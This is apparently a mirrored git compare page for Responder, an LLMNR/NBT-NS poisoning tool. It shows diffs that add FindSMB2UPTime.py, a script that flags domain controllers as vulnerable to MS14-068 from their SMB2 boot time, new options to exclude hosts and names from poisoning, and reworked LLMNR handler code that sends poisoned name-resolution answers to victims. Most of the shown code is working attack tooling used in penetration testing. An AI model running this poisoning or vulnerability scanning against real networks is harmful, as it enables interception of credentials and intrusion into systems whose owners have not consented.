mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-09 14:11:30 +00:00
Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7a95ef1474 | ||
|
|
36ef78f85a | ||
|
|
c05bdfce17 |
@@ -1,4 +1,10 @@
|
||||
ChangeLog Responder 2.0.8:
|
||||
ChangeLog Responder 2.1.4:
|
||||
- Added: FindSMB2UPTime.py
|
||||
- Added: FindSQLSrv.py
|
||||
- Added: DontRespondTo and DontRespondToName options in Responder.conf
|
||||
- Added: Lanman module
|
||||
- Added: Analyze mode
|
||||
- Added: SMBRelay
|
||||
- Removed: Old style options (On/Off). Just use -r instead of -r On.
|
||||
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
|
||||
- Added: In-scope llmnr/nbt-ns name option
|
||||
|
||||
116
FindSMB2UPTime.py
Executable file
116
FindSMB2UPTime.py
Executable file
@@ -0,0 +1,116 @@
|
||||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import datetime, struct
|
||||
import sys,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def GetBootTime(data):
|
||||
Filetime = int(struct.unpack('<q',data)[0])
|
||||
t = divmod(Filetime - 116444736000000000, 10000000)
|
||||
time = datetime.datetime.fromtimestamp(t[0])
|
||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
||||
|
||||
|
||||
def IsDCVuln(t):
|
||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
||||
if t[0] < Date:
|
||||
print "DC is up since:", t[1]
|
||||
print "This DC is vulnerable to MS14-068"
|
||||
else:
|
||||
print "DC is up since:", t[1]
|
||||
|
||||
def NbtLen(data):
|
||||
Len = struct.pack(">i", len(data))
|
||||
return Len
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("Proto", "\xff\x53\x4d\x42"),
|
||||
("Cmd", "\x72"),
|
||||
("Error-Code", "\x00\x00\x00\x00" ),
|
||||
("Flag1", "\x10"),
|
||||
("Flag2", "\x00\x00"),
|
||||
("Pidhigh", "\x00\x00"),
|
||||
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("TID", "\x00\x00"),
|
||||
("PID", "\xff\xfe"),
|
||||
("UID", "\x00\x00"),
|
||||
("MID", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("StrType","\x02" ),
|
||||
("dialect", "NT LM 0.12\x00"),
|
||||
("StrType1","\x02"),
|
||||
("dialect1", "SMB 2.002\x00"),
|
||||
("StrType2","\x02"),
|
||||
("dialect2", "SMB 2.???\x00"),
|
||||
])
|
||||
|
||||
def run(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.1)
|
||||
h = SMBHeader(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = NbtLen(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
try:
|
||||
data = s.recv(1024)
|
||||
if data[4:5] == "\xff":
|
||||
print "This host doesn't support SMBv2"
|
||||
if data[4:5] == "\xfe":
|
||||
IsDCVuln(GetBootTime(data[116:124]))
|
||||
except Exception:
|
||||
s.close()
|
||||
raise
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv)<=1:
|
||||
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
|
||||
host = sys.argv[1],445
|
||||
run(host)
|
||||
@@ -25,7 +25,12 @@ SessionLog = Responder-Session.log
|
||||
RespondTo =
|
||||
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
|
||||
;RespondTo = WPAD,DEV,PROD,SQLINT
|
||||
RespondToName =
|
||||
RespondToName =
|
||||
;
|
||||
;DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
DontRespondTo =
|
||||
;Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
|
||||
DontRespondToName =
|
||||
;
|
||||
[HTTP Server]
|
||||
;;
|
||||
|
||||
175
Responder.py
175
Responder.py
@@ -23,7 +23,8 @@ from odict import OrderedDict
|
||||
from socket import inet_aton
|
||||
from random import randrange
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf',
|
||||
VERSION = 'Responder 2.1.2'
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf', version = VERSION,
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", dest="Analyse")
|
||||
@@ -84,6 +85,10 @@ RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||
RespondTo.split(",")
|
||||
RespondToName = config.get('Responder Core', 'RespondToName').strip()
|
||||
RespondToName.split(",")
|
||||
DontRespondTo = config.get('Responder Core', 'DontRespondTo').strip()
|
||||
DontRespondTo.split(",")
|
||||
DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip()
|
||||
DontRespondToName.split(",")
|
||||
#Cli options.
|
||||
OURIP = options.OURIP
|
||||
LM_On_Off = options.LM_On_Off
|
||||
@@ -260,7 +265,30 @@ def RespondToNameScope(RespondToName, Name):
|
||||
else:
|
||||
return False
|
||||
|
||||
##Dont Respond to these hosts/names.
|
||||
def DontRespondToSpecificHost(DontRespondTo):
|
||||
if len(DontRespondTo)>=1 and DontRespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToSpecificName(DontRespondToName):
|
||||
if len(DontRespondToName)>=1 and DontRespondToName != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToIPScope(DontRespondTo, ClientIp):
|
||||
if ClientIp in DontRespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToNameScope(DontRespondToName, Name):
|
||||
if Name in DontRespondToName:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
##################################################################################
|
||||
#NBT NS Stuff
|
||||
##################################################################################
|
||||
@@ -343,6 +371,13 @@ class NB(BaseRequestHandler):
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(data[13:45])
|
||||
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
return None
|
||||
|
||||
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
|
||||
return None
|
||||
|
||||
if Analyze(AnalyzeMode):
|
||||
if data[2:4] == "\x01\x10":
|
||||
if Is_Finger_On(Finger_On_Off):
|
||||
@@ -646,7 +681,6 @@ def Is_Anonymous(data):
|
||||
if SecBlobLen > 260:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
print 'LMHASHLEN:',struct.unpack('<H',data[89:91])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
@@ -1238,6 +1272,8 @@ def IsICMPRedirectPlausible(IP):
|
||||
dnsip = []
|
||||
for line in file('/etc/resolv.conf', 'r'):
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
for x in dnsip:
|
||||
@@ -1266,10 +1302,10 @@ class LLMNR(BaseRequestHandler):
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
try:
|
||||
if Analyze(AnalyzeMode):
|
||||
if data[2:4] == "\x00\x00":
|
||||
if Parse_IPV6_Addr(data):
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
if data[2:4] == "\x00\x00":
|
||||
if Parse_IPV6_Addr(data):
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
if Analyze(AnalyzeMode):
|
||||
if Is_Finger_On(Finger_On_Off):
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
@@ -1278,68 +1314,67 @@ class LLMNR(BaseRequestHandler):
|
||||
except Exception:
|
||||
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
|
||||
logger3.warning(Message)
|
||||
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
|
||||
print Message
|
||||
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
|
||||
print Message
|
||||
else:
|
||||
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
|
||||
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
|
||||
print Message
|
||||
logger3.warning(Message)
|
||||
logger3.warning(Message)
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if Analyze(AnalyzeMode) == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if data[2:4] == "\x00\x00":
|
||||
if Parse_IPV6_Addr(data):
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
return None
|
||||
|
||||
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
|
||||
return None
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if Analyze(AnalyzeMode) == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||
logging.warning(Message)
|
||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||
print Message
|
||||
logger2.warning(Message)
|
||||
if Is_Finger_On(Finger_On_Off):
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
print '[+] OsVersion is:%s'%(Finger[0])
|
||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||
except Exception:
|
||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||
logging.warning(Message)
|
||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||
print Message
|
||||
logger2.warning(Message)
|
||||
if Is_Finger_On(Finger_On_Off):
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
print '[+] OsVersion is:%s'%(Finger[0])
|
||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||
except Exception:
|
||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||
logging.warning(Message)
|
||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||
print Message
|
||||
logger2.warning(Message)
|
||||
if Is_Finger_On(Finger_On_Off):
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
print '[+] OsVersion is:%s'%(Finger[0])
|
||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||
except Exception:
|
||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||
logging.warning(Message)
|
||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||
print Message
|
||||
logger2.warning(Message)
|
||||
if Is_Finger_On(Finger_On_Off):
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
print '[+] OsVersion is:%s'%(Finger[0])
|
||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||
except Exception:
|
||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if data[2:4] == "\x00\x00":
|
||||
if Parse_IPV6_Addr(data):
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
@@ -1360,24 +1395,24 @@ class LLMNR(BaseRequestHandler):
|
||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||
print Message
|
||||
logger2.warning(Message)
|
||||
if Is_Finger_On(Finger_On_Off):
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
print '[+] OsVersion is:%s'%(Finger[0])
|
||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||
except Exception:
|
||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||
print Message
|
||||
logger2.warning(Message)
|
||||
if Is_Finger_On(Finger_On_Off):
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
print '[+] OsVersion is:%s'%(Finger[0])
|
||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||
except Exception:
|
||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
@@ -2540,5 +2575,3 @@ if __name__ == '__main__':
|
||||
main()
|
||||
except:
|
||||
raise
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user